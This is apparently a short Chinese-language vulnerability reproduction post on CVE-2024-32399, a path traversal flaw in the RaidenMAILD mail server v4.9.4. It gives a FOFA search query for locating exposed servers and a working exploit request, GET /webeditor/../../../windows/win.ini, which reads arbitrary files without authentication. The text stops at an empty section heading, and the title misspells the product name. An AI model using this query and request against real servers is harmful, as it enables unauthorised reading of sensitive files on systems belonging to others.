【漏洞复现】aidenMAILD 邮件服务器 路径遍历漏洞(CVE-2024-32399)

0x01 产品简介

RaidenMAILD是一款功能丰富且易于使用的电子邮件服务器软件，适合各种规模的机构和个人使用。

0x02 漏洞概述

RaidenMAILD 邮件服务器存在路径遍历漏洞，未授权的攻击者可以通过该漏洞读取服务器任意文件，从而获取服务器敏感信息。

0x03 测绘语句

fofa: body="RaidenMAILD"

0x04 漏洞复现

GET /webeditor/../../../windows/win.ini HTTP/1.1

0x05 影响范围

RaidenMAILD Mail Server v.4.9.4

0x06